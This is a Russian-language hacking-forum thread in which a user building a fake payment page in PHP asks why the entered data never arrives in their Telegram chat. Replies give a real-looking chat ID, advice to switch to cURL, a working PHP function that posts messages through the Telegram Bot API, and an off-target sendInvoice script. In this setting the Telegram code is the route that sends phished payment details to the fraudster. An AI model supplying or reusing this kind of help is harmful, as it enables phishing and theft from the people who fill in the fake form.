• XSS.stack #1 – первый литературный журнал от юзеров форума

Сайт не отправляет запрос в Telegram | PHP

sw1ng

RAID-массив
Забанен
Регистрация
08.12.2022
Сообщения
81
Реакции
3
Пожалуйста, обратите внимание, что пользователь заблокирован
Здраствуйте ребята, я делаю фейк платежку на PHP. Когда ввожу все данные и нажимаю на кнопку отправить ничего не приходит в ТГ, почему так происходит?
 

Вложения

  • src.zip
    245.8 КБ · Просмотры: 25
Пожалуйста, обратите внимание, что пользователь заблокирован
how are you communicating ? Get on PM , so I can look at it , I just don't trust zipfiles so send me code on private note or exploit notes
@sw1ngaf
Telegram
 
Бот добавлен в этот?
$chat_id = "-1001740629622";

вместо fopen используй cURL post запрос, используй postman для теста запросов на апи, там же будет генератор готово кода запроса на php curl
 
Привет, есть свой простенький код который использую для отправки сообщения с сайта в телегу, вроде бы не подводил...

PHP:
<?php
    function sendTelegramMessage($message, $bot_token, $chat_id) {
    try {
            
        $post_data = array(
                "chat_id" => $chat_id,
                "text" => $message,
            );
    
        $url = "https://api.telegram.org/bot$bot_token/sendMessage";

        $options = array(
            'http' => array(
                'method' => 'POST',
                'content' => http_build_query( $post_data ),
                'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
            )
        );

        $context = stream_context_create( $options );
        $result = file_get_contents( $url, false, $context );
        
        return $result;
    } catch (Exception $e) {
        return $e;
    } 
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в таких случаях следует описывать каким способом решил, а не просить тему удалять
Ajax
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Здраствуйте ребята, я делаю фейк платежку на PHP. Когда ввожу все данные и нажимаю на кнопку отправить ничего не приходит в ТГ, почему так происходит?
Код:
<?php

// Замените YOUR_BOT_TOKEN на ваш токен бота Telegram
$botToken = 'YOUR_BOT_TOKEN';

// Замените CHAT_ID на идентификатор чата, куда отправляется запрос на подтверждение
$chatId = 'CHAT_ID';

// Замените PAYLOAD на необходимые данные для подтверждения
$payload = [
    'amount' => 100,  // Сумма подтверждения
    'currency' => 'USD',  // Валюта
    'invoice_payload' => 'your_invoice_id',  // Уникальный идентификатор счета
    'shipping_option_id' => 'shipping_option_id',  // Идентификатор выбранного варианта доставки (если применимо)
];

// Формируем URL для запроса к API Telegram
$apiUrl = "https://api.telegram.org/bot{$botToken}/sendInvoice";

// Данные, которые будут отправлены в запросе
$data = [
    'chat_id' => $chatId,
    'title' => 'Payment Confirmation',  // Заголовок счета
    'description' => 'Confirm your payment',  // Описание счета
    'payload' => json_encode($payload),  // Данные для подтверждения в формате JSON
    'provider_token' => 'your_payment_provider_token',  // Токен платежного провайдера
    'start_parameter' => 'start_parameter',  // Уникальный параметр, который будет передан обратно боту после оплаты
];

// Инициализируем cURL-сессию
$ch = curl_init($apiUrl);

// Настраиваем параметры cURL-запроса
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Выполняем запрос и получаем ответ
$response = curl_exec($ch);

// Закрываем cURL-сессию
curl_close($ch);

// Обработка ответа от API Telegram
if (!$response) {
    echo "Error: Failed to send the request to Telegram API.";
} else {
    $responseData = json_decode($response, true);
    if ($responseData['ok']) {
        echo "Invoice has been sent for payment confirmation.";
    } else {
        echo "Error: " . $responseData['description'];
    }
}
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх